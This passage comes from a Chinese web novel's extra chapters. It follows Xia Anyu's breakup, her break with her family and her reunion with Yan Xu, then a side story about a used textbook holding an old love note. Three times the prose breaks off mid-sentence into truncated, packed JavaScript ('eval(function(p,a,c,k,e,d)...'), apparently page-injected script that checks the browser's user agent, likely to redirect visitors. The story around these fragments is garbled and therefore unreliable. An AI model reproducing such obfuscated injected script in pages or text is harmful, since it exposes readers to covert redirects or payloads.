学长现在在是外科医生,常常需要应对各种各样的突发情况,因此夏安语将就他在医院附近租了个房子。 他工作忙,而夏安语也不时加班。两人明明住一起,却也有点聚少离多的意思。 今晚学长没轮班,但她本来是要通宵赶工的。这会儿她提前回去,正好能赶上他下次值班前再见一面。 夏安语怕他睡了,轻手轻脚地打开了家门。 玄关处放着双她没见过的女士高跟鞋,房间里的灯开着,隐约传出些暧昧的响动。 夏安语是个心智健全的成年人,见此情景,几乎不经思考就能意识到发生了什么。 她冷静地拿出手机,打开相机,一脚踹开了房间门。 床上的男女显然被突来的变故吓到,现场兵荒马乱。 后半夜,女人早已落荒而逃,学长抱着她声泪俱下,恳求原谅,嘴里说着“一时冲动”之类的滥俗台词。 其实她不是毫无预料,之前偶尔会在他身上闻到陌生香水味。他说是接诊了浓妆艳抹的病人,夏安语睁只眼闭只眼地自我欺骗。 但是她真的感受不到吗?曾经那个会护着她滚下山崖的人,现在对她的付出熟视无睹,她每天忍受着早高峰跨越半个城市去上班也不见他丝毫的心疼。 夏安语想,原来真正配不上真心的人是她,命运从未给过她怜爱。 最后男人见她无动于衷,竟破罐破摔般地指责起她:“这么多年来,你难道就真的爱过我吗?” 夏安语觉得好笑,也觉得羡慕。到底是多天真的人,到了三十多岁还能问出“爱不爱”这样的问题。 她冷笑一声:“我对你不好吗?我没尽到女朋友的责任吗?” 不欢而散,本就摇摇欲坠的关系就此崩塌。 夏安语当机立断地收拾好自己的行李摔门走人。 她果真是天选打工人,最后竟然化愤怒为动力,在交稿日期前给了份客户满意的方案。再接着,她请掉了积攒已久的年假。 ——本来是为了留着和学长度蜜月,现在倒是用不上了。 几天以后,夏安语给何舟泽打电话:“你上次说的节目录制,我答应了。请了长假。” 何舟泽惊喜道:“不愧是行动派。我晚点让助理给你送份合同,还是那个地址吗?” “不是。”夏安语顿了顿,“我前几天分手了,暂时住酒店。” 何舟泽怔了片刻,关心道:“怎么了?” “渣男被我捉奸在床,我反而无家可归了。”她自嘲着。 “我还有个闲置的房子,平时都有人在打扫,你要不暂时住那边?” 夏安语笑着回绝:“别了吧,你还想再被爆一个绯闻女友吗?我可不像乔之,有那么多学生能帮着澄清。” 何舟泽听她的语气如常,似乎没受太大影响。 他想了想又提议道:“那要不你直接来江临?我们都在这边。” 夏安语不知道他口中的“我们”到底是指谁,她云淡风轻地应着:“好啊。那大明星给我报销路费吗?” 等夏安语到了江临,却没见到想象中的那个人,才知道颜叙还没回国。 她心中庆幸,又难免失落。 他们这次节目录制,就从颜叙下飞机开始。 机场相会——还真是个旧友重聚的经典场面。 尤其当颜叙出现在接机口,笑着和他们打招呼,熟络地寒暄叙旧时,夏安语还真的以为自己在拍久别重逢的电影。 颜叙跟何舟泽还有姚朔击拳问好,看上去毫不生分。 ——确实也是,毕竟这些年来他也不是没回过国,一直避着不见的人只有她。 颜叙所在的工作室和国内一家音乐公司签了定向合作,因此他接下会在国内长期发展。 他看起来变了很多。 他说话的语气,他的身形气质,还有他身上令人无法忽视的成熟气息。 这些都是他们分开多年的证据。 夏安语以为这么久过去,她面对他早该心无波澜。可当颜叙看着她的眼睛,郑重道“夏安语,好久不见”时,她死去已久的心又开始苏醒。 或许学长没说错,这么多年来她从未真心爱过他,因为她的心在很久以前就交付给了眼前这个人。 “颜叙。”她镇定地打趣道,“你现在还真是人模狗样的。” 颜叙笑了,和当初带她逃离相亲现场时的笑一模一样:“是吗?你倒是和以前一样好看。” 何舟泽和颜叙一直在音乐圈,而姚朔自撞伤了腿后就重新在家练琴,真正从头开始的人只有她。夏安语已经很久没有弹过琴,但她的手一摸到键盘,过去那种熟悉的感觉便全都回来了。她还是当年那个在舞台上肆意绽放的键盘手。 一起玩音乐,一起喝酒聊天,他们在一起待了整整一周的时间。“同味素”即便解散了多年,依旧默契无间。 夏安语常有种时光倒流的错觉。 有一天吃饭时,她偶然说起自己分手的事情。早已知情的何舟泽没多大反应,姚朔倒是怕她伤心连着给她灌了很多好听的话。颜叙什么都没讲,但是他看她的眼神很深,让她读不出意味。 那天晚上,何舟泽有杂志拍摄,姚朔依旧要九点上线游戏,四人局又剩他们俩。 颜叙明明长居国外,却依旧对江临的酒吧、餐厅、小众景点如数家珍。 最后他带她去了一家清吧,他们坐在靠近湖边的位置,隔着玻璃,她却好像又感受到了晚风。一如既往。 杯盏交错,她才发现,他根本没变。 颜叙还是会挑逗般喊她“学姐”,话里还是带刺。 “你早有察觉,为什么还准备和他结婚?”他摇晃着酒杯,冰块撞得杯壁咔嚓作响。 夏安语没敢看他:“没亲眼看见前,我还想相信他。” 颜叙轻笑一声,嘲讽意味十足:“相信他?我都不知道你这么想上赶着当贤妻良母。” 他的语气刺痛了夏安语,她跟着呛声:“我想要安定下来,有什么错吗?” 她说:“颜叙,不是谁都享受漂泊。” 因为她从未体验过来自家庭的幸福感,所以迫切地想要抓住任何一点可能。 颜叙的眸子黯淡下来,然后他道了歉。 之后没人再提这个小插曲,直到正式演出那天。 乐队四人一起写了一首名为《明天依旧》的歌,作为告别青春时代的诗篇。 那天的演出非常成功,在舞台上用力地击打节拍、演奏歌曲让夏安语感觉自己整个人都活了过来。她的兴致高涨,满心欢喜,直到在后台接到了学长的电话。 她的突然消失让对方后悔不已,最后借了别人的手机拨通她的电话。 他在电话里忏悔,不断回忆几年来共处的美好时光。他还提起当初他们一起滚下山崖时,他如何心急地想要护住她。 他求她原谅他,他相信她真心对他。 夏安语沉默不语,却没有直接回绝他。 她烦躁地挂断电话,又撞见颜叙被一个女生堵住。她冷眼旁观,等人走后忍不住讥讽:“怎么?又是你欠的感情债?” 颜叙勾起嘴角,哂笑道:“也好过你一直死守着一个烂男人吧。” 原来他刚刚全都听到了。 “夏安语,我真是想不明白,他究竟有什么好?别说什么用他的手护你周全。” 夏安语攥紧拳头,想起多年前颜叙举着自己的手,说他也可以为她一辈子不打鼓。可是,又有什么用呢? 她报复般地开口:“颜叙,这么多年来,陪在我身边的人是他,不是你。” 然后看见对方的脸变得煞白。 那晚的庆功宴,何舟泽叫了乔之一起,夏安语见两人互动,总觉得冰雪将融。而她和颜叙,一切如常——在众人面前的表现如常,他们的关系也如往常一样冰封千里,无论如何都不可能开花结果。 第二天一早,她坐早班机回了京市,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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某一天何舟泽在微信群里点了颜叙的名:【昨天有狗仔拍到你的照片,跑来敲诈我了。你是不是得给我点赔偿?@ChrisYan】 颜叙自从上了节目,不间断地受到了好几波关注。虽然他常年在幕后,但被好事者扒出了生平家世和过往情史,又引发一阵热议。这两个月,他的热度堪比娱乐圈二三线明星。 姚朔跟着凑热闹:【哟,颜大少这又是泡妞被拍了呀。】 颜叙气急败坏地回了句:【别瞎说!这是我工作室的同事,那天喝醉了我帮着扶了一把。你不会还把照片买下来了吧?】 何舟泽慢悠悠地回复:【是啊,我怕照片发出去被你妈看见,你又得挨骂。】 颜叙无所谓道:【我回国之后就从良了,随便他发。】 后面他们还聊些什么,夏安语有些不记得了,她只记得何舟泽附上了一张照片。照片里颜叙揽着一个女生的肩膀,保持着不远不近的距离,她看着越发觉得心里酸涩。 过年前夕,她和学长分手的事还是被捅到了父母面前。 先是对方母亲当面来找她替自己儿子道歉:“小夏,这件事是正阳做错了,阿姨替他给你赔个不是。不过分手这件事是不是还得再考虑考虑?你爸妈那边知情吗?你弟弟是不是马上要毕业了,工作找好了吗?” 言下之意是他们都不嫌弃夏家的情况,还打算帮衬着点,你不要不识好歹。 夏安语笑意吟吟,说的话却没什么温度:“阿姨,这是我自己的事,和我爸妈无关,跟我弟弟——就更没什么关系了。” 再然后她父母也跟着发疯。 她母亲数十年如一日地歇斯底里:“夏安语,这么大的事你怎么都不跟家里商量呢?你老大不小了,已经没有任性的资本了!” 话头一转,又说什么:“男人嘛,偶尔犯个错很正常的……” 夏安语听得想笑,到底谁才是她生的,怎么全在帮外人说话。 她语气冰冷:“妈,你不就是图人家里有点本事,可以帮弟弟安排工作吗?是不是还想着以后再给他凑个婚房啊?” 她敢保证,如果学长家里条件一般,他们一定会勒令他们分手,并且再安排她和什么小李小张相亲。他们能消停这么多年,完全就是因为瞧上人家的家产了。 母亲的尖叫声被她掐断在电话那头。 夏安语已经好几年没有回家过年,今年特意赶回去想做个了断。 进门时,她的弟弟夏英豪正懒懒地躺在沙发上打游戏。他高考复读了一年才堪堪考上个大专,在学校混吃等死了三年,马上就要毕业了。 夏安语常常能听别人夸自己的名字好听,但所有人都不知道,安语在他们老家的方言就是“阿女”,也就是女儿的意思。他爸妈压根儿没打算为她多花一分心思,是派出所的民警根据发音选了两个相近的字。 而她弟弟的名字——英雄豪杰,几乎拼尽了她那对初中毕业的父母全部努力,终于选出两个大气宏伟的字。 真是嘲讽。 夏安语冷眼路过,然后在父母面前不顾他们脸色铁青,宣判道:“您们以后就别再当有我这个女儿了。我上大学后没花过家里一分钱,以前的养育之恩,我这几年努力赚钱,勉强也算是还清了。当然——我还是会定期给你们打赡养费的,至于夏英豪的死活,那就不关我事了。毕竟,又不是我要生他的,对吗?” 困住她将近三十年的家庭关系,她终于下定决心斩断。 她删光了家里的联系方式,然后回京市递交了辞职信。 84.番外·胆小鬼(4)[番外] 六 初春三月,京市还是寒风凛冽,但地处南方的江临却已经开始回暖。 姚朔的店就开在江临大学北街,最初的热度过后,现在主要客源还是江大学生。 这会儿是上课时间,店里没什么客人。夏安语和姚朔蹲在他店门外的马路牙子上聊人生。 夏安语点了根烟,姚朔皱眉道:“你怎么又开始抽烟了?” 她吐出个烟圈,笑说:“我分手了,又和家里断了关系,以后没人管我了,我爱怎么抽就怎么抽。” 学长闻不了烟味,所以她已经戒烟多年。 可这段时间,她竟又控制不住自己,极度烦躁时就要点上一支。 原来这些年她从来没有成功戒掉。 “还是少抽点,对身体不好。有什么烦心事找我说,别借烟酒消愁。”姚朔伸手抢过她手里的烟,在地上按灭。 夏安语突然在想,如果这时在她身边的是颜叙,他可能会也点上一支,又或者从她手里吸上一口。 夏安语叹了口气,怎么又想到他了。 她转头,看见个背书包的小姑娘在他们身后打转,看起来像是个学生。 她拍拍姚朔的肩:“你有客人来了,我先走了。有空再约。” 夏安语拢了拢自己的风衣外套,在街口随便上了辆公交车。 昨夜她失眠了,这会儿有些犯困。 她在公交车后座昏昏沉沉,等清醒过来时,竟发现自己到了一个熟悉的地方。 云山寺。 夏安语想起大二那年,她和颜叙在这里算姻缘,算命先生说他们情深缘浅。 那时颜叙听了一句就不信似的要拉她走。他说他们没有情只有孽缘,这个人满口胡言。可现在看来,那位老先生倒是也没说错。 至少从她的角度看,确实是情深缘浅。 连命运都不曾看好过,他们果然再难有关联。 夏安语按了下车铃。 工作日的云山寺客流量不大,夏安语这次从另一个入口进入庙中,然后跟着门口告示牌上画的推荐路线走了一大圈。 云山寺是个全国有名的寺庙,面积很大,宫殿众多,她没留神便迷了路。等夏安语反应过来时,她又看见了那位算命先生。 ——还在那棵树下,还是一撮小胡须,还拿着一把折扇不时晃荡着。 夏安语抱着说不明的心思在摊位前坐下,算命先生摸了把胡须,笑眯眯地问:“姑娘,来算姻缘吗?” 夏安语想说,她哪还有什么姻缘可算。 可心里这么想着,她却还是写下了她和颜叙两人的生辰八字。不知为何,她明明没有特意记过,可他的出生时辰,她都一清二楚。 算命先生看了半晌没说话,时不时抬头打量着她。 夏安语问:“怎么了?是结果不好吗?其实也没关系的……”反正她已经认命了。 算命先生收起扇子,用扇沿敲着他们俩的八字说道:“这已经是我第三次看这对八字了。” 然后他抬起头,看着她肯定地说:“姑娘,你以前来算过吧?” 夏安语惊讶地抬眉,她没想到这位老先生的记性这么好,语气都变得郑重起来:“您怎么知道?” “这对八字很特别,我印象很深刻。对方是一个个子很高的男生,穿得花里胡哨的,对吗?” 夏安语点点头,没否认:“您说过,我们情深缘浅。” 算命先生将扇子往手心一敲,吹胡子瞪眼:“是啊。我还记得你们听完这句就走人,还欠了我三十块算卦费用呢!” 夏安语听这话,笑出了声:“那会儿年轻,听到不好的结果一时无法接受。对不住了,今天我一并还给您。” 不成想,算命先生摇摇头道:“谁说结果不好?我就说你们年轻人急急躁躁的,不肯听完。这是情深缘浅,但人定胜天,必胜之局啊!不对啊,你男朋友后来没跟你说吗?” 这回轮到夏安语愣住:“……什么?” 算命先生打开了扇子,夏安语看见上面写着“自在人心”四个字,草书龙飞凤舞。 “你男朋友后来自己又来算过一次啊。我那回可抓着他,清清楚楚讲过一遍了。” 她不可置信地问道:“……您还记得那是什么时候的事吗?” 算命先生又摸了摸自己花白的胡须,嘟囔道:“很多年前了,这我怎么记得啊?” 说完他又偏头,似是在回忆:“好像是个冬天吧,大概是元旦前夕,每年那会儿都有很多年轻人来算姻缘,希望来年求个好盼头。那个时间我可忙了,他非缠着我,问了大半个小时,惹得其他施主有些不耐烦。” 元旦前夕。 夏安语的心沉了一沉,她知道那是什么时候了。 她抬头看了看天空,想要将眼泪藏回眼眶。 天空被头顶的大树分割成无数个小块,每一朵云都支离破碎。 泪水最终还是落了下来。 夏安语匆匆道谢后,在算命先生不解的目光中离开了这方小摊子。 她缓步走下台阶,走出云山寺的门。 原来那个冬天,他也一个人来过这里,拿着他们俩的生辰八字,企图寻求一份好姻缘。 夏安语想,原来他对她,也曾有过一份真心。 七 颜叙在江临租了房子,之前在微信群里发过地址。 上个月刚搬新家时,姚朔还跑去和他喝了一晚上的酒。 夏安语不知道自己是怀着怎么样的心情,等回过神来,她已经站在了他家楼下。 她给他打电话:“颜叙。” 这是这么多年来她第一次主动联系他。 颜叙在接通电话的第一秒,听见她带着哭腔的声音在叫他的名字。 他慌了神,连忙问:“我在。怎么了?” 夏安语抬手擦了擦眼泪,说:“我现在在你家楼下。” 颜叙正在工作室选曲子,听到这话,立马起身,抓起外套就往外走。 “你等我一下,我马上到。” 还好他的房子就租在工作室附近,他只用了不到十分钟就赶回了家。 他远远地就看见穿着卡其色风衣的夏安语正蹲坐在花坛边,一抽一抽的,好像是在哭泣。 他小跑过去,看见对方泪眼朦胧,竟然和多年前某个场景极为相似。 颜叙还来不及问了一句“发生了什么事”,夏安语就扑进了他的怀中。他听见她带着抽泣,闷声道:“颜叙,我今天去了云山寺。” 他不明所以,又见她抬起头看他,一字一句地说:“情深缘浅,但人定胜天。你为什么不告诉我?” 颜叙这才了然,原来她也知道了。可惜算命先生所说的必胜之局,已经被他搞得一团糟。 夏安语抓着他的衣服用力摇他,责问道:“你凭什么不告诉我?” 凭什么让他们错过这么多年。 颜叙笑了,他按住夏安语的肩膀,柔声道:“我本想准备好一切再告诉你。可是夏安语,你给过我机会吗?” 那个雨夜,夏安语问他是否喜欢她时,他的心思全藏在脱口而出的玩笑话里。他是那么胆怯,还没有办法让她看见自己的真心。 可等他鼓足勇气,理清自己所有藕断丝连的暧昧关系,想要跟她表明心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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颜叙想,这样也好。反正他不是什么好人,如果能在离开前让她厌弃他,也算是他难得的好事一桩。 后来他到了美国,重新读了三年大学,陌生的环境里他换上了新的面具。他戒了烟,说话不再带刺,他还写了很多首歌。所有人都知道Chris Yan彬彬有礼、才华横溢,喜欢他的女生前仆后继。 但是,无人知晓,他写的每一首歌都是为了她。 回国以后,当他得知她已经分手时,枯寂很久的心又开始躁动。可是不知为何,他们俩面对彼此总是忍不住冷嘲热讽,好像互相伤害才能证明他们之间残存着摇摇欲坠的关系。 那天听她说“这么多年来,陪在我身边的人是他,不是你”时,他后悔了。他后悔当初没有不顾一切地告诉她,他也有一份真心。 可是第二天,她再一次离开了。颜叙不知道,他做了这么多年的逃兵,是否还有资格去爱。 后来何舟泽跟他分享自己在跨年晚会上的计划,他在心里不由得震惊,随即又坦然接受。 何舟泽是他们之中最勇敢的人,而勇敢的人才配爱。 他问:“颜叙,你还要错过吗?” 颜叙当然不想,可他面对夏安语时总是那么犹豫和胆怯,所以又一次让她先来找他了。 夏安语的泪水簌簌,她从来只有在他面前才能哭得这么放纵。她说:“颜叙,我问过你了。我那时候问过你了!” 她明明也曾用尽全部勇气,问他是否喜欢她。 颜叙怔住,随即又帮着擦去她脸上的泪水。他道歉:“对不起。都是我的错。” 他们短暂的勇敢永远错位,所以谁都没等到过自己想要的答案。他们是爱情里的逃兵,是两个不折不扣的胆小鬼。 颜叙想起了他们一起吹过的那些晚风,在黑暗中共渡的烟,彼此共享的秘密和伤疤。 “夏安语,”他的喉结轻滚,终于说出了那个深藏多年的秘密,“从始至终,我都喜欢着你。你现在……还愿意喜欢我吗?” 85.番外·旧日秘密[番外] 新学期开学后没几天,一条图文帖悄然爬上了江临大学校园论坛十大热帖。 贴子主题就取得十分勾人眼球,上头半遮半掩地留了个悬念:“关于我在二手复变课本上的惊奇发现”。 程青筠刚下晚课回到寝室,另外三个室友早已洗漱完毕躺在床上休息。 见她走进来,其中一位兴奋道:“青筠,你看到那条热帖了吗?” 这么没头没脑的一句话,程青筠一时没听懂:“什么帖子?今天我一直忙着上课呢,哪有时间刷论坛……” 室友起身趴到栏杆前,将手机转了个面对着她:“快看快看!有人在二手书店买到了何舟泽用过的复变课本!” 屏幕上赫然显示着帖子正文。 【楼主:上周我不小心弄丢了复变课本,不得已去理工宿舍楼边上那家二手书店淘了本旧的。老板不知道是从哪个犄角旮旯里给我找出了本陈年旧书,结果你们猜我发现了什么?绝对的大新闻!】 起初,底下的回复只有寥寥几条。 【楼主别卖关子了。】 【说话说一半烂舌头哦!】 【你是不是想骗关注?】 没过几分钟,楼主更新了几张二手书的照片,上边零零散散有些笔迹。 【楼主:大家不觉得这上面的几句话有点眼熟吗?】 【?什么玩意儿?】 【能不能一口气把话说完!】 【不就是某位前辈随手写的几句随想之类的东西吗?】 其他人看到这或许还一时摸不着头绪,但程青筠马上就意识到楼主所说的“大新闻”是指什么。 她惊叫了一声:“还有这东西!”当即便拿起自己的手机开始翻找帖子。 楼主发出照片后没多久,帖子下方就有人提出了大胆的猜测:【……这几句话怎么这么像hhz新专辑里的歌词。等等,这不会是他用过的二手书吧???】 这一条回复一出现,帖子的热度立刻呈指数型增长。 【我靠,还真是。】 【会不会有人抄歌词啊?不然也太巧了。】 【新专寒假那会儿才发布,这个笔迹看起来至少有些年头了吧……】 【用词还是有一些细微差别的。而且这上面涂涂改改,一看就是在边想边写……】 室友见程青筠的反应,跟着道:“你看看这是不是何舟泽的笔迹?有点太神奇了吧!” 程青筠虽然从未对外透露过自己是何舟泽表妹的事,但因为她时常听他的歌,偶尔还有签名照之类的周边,早已被周边人定性为“何舟泽忠实粉丝”。 程青筠放大图片,仔细辨别上面的笔迹,几乎可以确定这就是何舟泽留下的。而且她知道自家表哥一直有在纸上随手写东西的恶习。 “……是吧。” 室友得到肯定的回答后当即叫了起来:“所以白月光传闻是真的吗?!” 室友忽然大转弯的推论让程青筠猝不及防,她疑惑地“啊”了声:“这和白月光有什么关系吗?” “你还没看完帖子哪?”室友恨不得下床替她划拉屏幕,“你快往下看。” 程青筠这才翻到了楼主的再次更新。 【楼主:但我感觉这不是何舟泽本人的课本,更像是他在别人书上留下的笔迹。这本书里其他地方的笔迹很清秀,像是个女生写的。而且你们看这里有一句话:[图片]。】 新的配图里只有一句话:“x老师今晚太可爱了,我比想象中还要更爱你。” 这行字藏着尾页的角落里,笔迹很淡。打头第一个字有些难以辨认,只能勉强看出一撇一竖。 别人可能看不出,但程青筠百分百确定这个字是“乔”。 所以——这是乔老师的书?! 【等等等等,所以说这是何舟泽偷偷写在别人书上的吗?】 【woc那前面那些不就成了表白吗??】 【话说hhz不是一直有白月光传闻吗……】 【不是白月光,是前女友吧?】 【楼主出这本书吗?我愿意五倍买下!】 【五倍哪够啊……这挂海鲜市场至少要五位数吧!楼主要发财了。】 室友在一边迫不及待地问:“所以是真的吗?” 她其实只算何舟泽的路人粉,但这么大的瓜谁不想吃上一口? 程青筠内心挣扎了片刻,含糊道:“……是有人传他大学时谈过一个女朋友。” 室友一脸羡慕道:“天哪,我都不敢相信这个女生该有多幸福!何舟泽既帅又有才,还这么深情。” 程青筠在心里默默想:还好没人知道这个白月光就是海院上学期刚入职的新老师乔之…… 作为学校里唯一的知情人,程青筠常常为不能光明正大磕cp而深感惋惜。天知道他们俩有多好磕…… 程青筠正准备给楼主发个私信,想问问她愿不愿意出售,便刷到了一条最新回帖。 【楼主:不卖哈不卖哈~本人是何舟泽多年粉丝,这么珍贵的东西当然要好好收藏,嘻嘻。】 “……” 她再想办法挣扎挣扎。 - 何舟泽“深潜”主题巡演江临站顺利落下帷幕,这是他官宣恋情后第一次公开活动,这些天热度只高不减,《不唱情歌》第二版更是再次席卷各大音乐榜单。 粉丝私下里给三个版本分别取了名字——“青”“蓝”“红”。三种颜色的寓意倒是很符合何舟泽写歌时的不同心境。 此时,这首情歌相关的两位主角都窝在家里准备晚餐。 眼下正是风声鹤唳之时,长枪短炮都在暗处时刻候着,保险起见还是少出门为妙。 春天悄然而至,江临的天气已经渐渐回暖。两人抓住料峭寒风的尾巴,最后赶个吃火锅的好时机。 程青筠抵达时,餐桌上的火锅已经冒香。 她进门就直呼:“好香,我快饿晕了!”说着便要凑到桌边。 何舟泽伸手将她往水池边推:“先去洗手。” 乔之正好洗完最后一把蔬菜,她笑着为程青筠腾出位置,贴心地将水龙头关小了一些。 “已经可以开饭啦。” 没一会儿三人就都坐下了。 程青筠已经快有一个月没见过何舟泽,肚子里攒了一箩筐的话要说。 她挑了个最紧要地问:“哥、乔老师,你们那会儿是不是也要学复变?” 何舟泽有些莫名其妙:“是。怎么突然问这个?” 他离学生时代已经很遥远,“复变”这门课若不是和乔之有关,他大概早就忘到九霄云外了。 程青筠听到他的回答后,立刻装腔作势地清了清嗓子,说道:“为了庆祝巡演顺利以及你成功脱单,我准备了一个小礼物。” 话音刚落,她语调一转,又道:“饭后给你!先通知你一声。” 看她这副尾巴快要翘到天上去的模样,乔之忍不住笑了声,心里不禁有些好奇。 何舟泽伸手敲了敲她,只觉得她又要整些幺蛾子。 一顿饭吃得轻松自得,几人说说笑笑,很快就把这个“小礼物”忘在了脑后。 程青筠隔天上午还有早课,吃完饭就要回学校。何舟泽叫了小王来送她。 等她走后不久,他才收到一条微信:【送给你们的小礼物我放在玄关的柜子上,注意查收[呲牙笑]】 那头的程青筠正偷着乐,只可惜不能亲眼见证他们被死去的记忆攻击。这本书她可是花了大价钱,晓之以情动之以礼才拿的。 “什么东西?”何舟泽照她说的位置去找,只见上面有个包得方方正正的东西,看不出是什么。 他顺手把外头的包装拆了,刚看见第一眼就失声笑了出来——还真是个大惊喜。 乔之奇怪地问:“怎么了?” 何舟泽将手里的东西转了个面对着她。 乔之看见那是一本复变函数的教科书。蓝色封皮,就是他们当年用过的版本。 何舟泽道:“这是她给我俩准备的礼物呢!” 乔之伸手接过来,随意翻动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊。”何舟泽揽过她的肩,忽然笑了,“乔老师,我俩也挺不容易的。” 他们也错失了彼此六七年的时光。 乔之听见这话,心里没觉得伤感,因为下一秒她果不其然就听见何舟泽憋着坏道:“今晚会有补偿吗?” 她笑着拍开他:“怎么就是我补偿你了?” 不想何舟泽愈发将她搂紧了,故意不让她挣脱。 这一来一回地打闹,乔之手中的书一不小心就落在了地上。 “我不跟你闹了……”乔之趁机推开,话音却在她蹲下的瞬间戛然而止。 眼前的复变课本自然地停在了最后一页,她看见角落出写着一行字:“x老师今晚太可爱了,我比想象中还要更爱你。” 所谓“x老师”就是“乔老师”,乔之作为当事人一眼就破译了这模糊不清的字迹。 没由来的,她心里忽然升起一个猜测,蓦地转身质问道:“何舟泽,你那天是不是根本没醉?” “?”面对她这么突然的一问,何舟泽一时没跟上思路。 乔之拎起课本,将那行字送进他的视野,说:“这是不是你在老姚家复习那晚写的?就是我们几个都喝醉了的那次。” 乔之可还记得那天何舟泽一直要和她亲近,她当时体谅他喝醉,也没太拒绝。 现在看来,他那会儿还能有精力在她的书上写写画画,八成就没醉。怪不得他最后考得好,原来是大家都倒下后他还自己偷偷学了。 何舟泽被戳破小心思,也不见尴尬,只笑嘻嘻地说:“我以为你早就会发现了。” 他倒打一耙:“乔乔,我好伤心啊。你怎么隔了这么久才看到我的表白。” 乔之听他这么一通厚颜无耻的发言,气笑了:“你还反咬一口,太不要脸了。” 说着就要拿书打他。 何舟泽抓住了她的手,顺势将人搂紧了,咬耳朵道:“我错了。那我补偿你好不好?”